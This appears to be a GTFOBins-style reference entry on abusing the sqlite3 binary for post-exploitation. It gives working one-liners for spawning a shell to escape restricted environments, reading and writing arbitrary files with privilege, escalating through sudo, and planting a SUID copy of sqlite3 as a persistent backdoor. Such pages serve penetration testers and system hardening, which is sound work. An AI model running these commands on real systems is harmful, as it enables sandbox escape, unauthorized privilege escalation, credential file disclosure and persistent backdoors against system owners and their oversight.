.. / sqlite3

Star

• Shell
• File write
• File read
• Sudo
• Limited SUID

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

• sqlite3 /dev/null '.shell /bin/sh'

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

• LFILE=file_to_write
  sqlite3 /dev/null -cmd ".output $LFILE" 'select "DATA";'

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

• LFILE=file_to_read
  sqlite3 << EOF
  CREATE TABLE t(line TEXT);
  .import $LFILE t
  SELECT * FROM t;
  EOF

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

• sudo sqlite3 /dev/null '.shell /bin/sh'

Limited SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run commands it only works on systems like Debian that allow the default sh shell to run with SUID privileges.

• sudo sh -c 'cp $(which sqlite3) .; chmod +s ./sqlite3'
  
  ./sqlite3 /dev/null '.shell /bin/sh'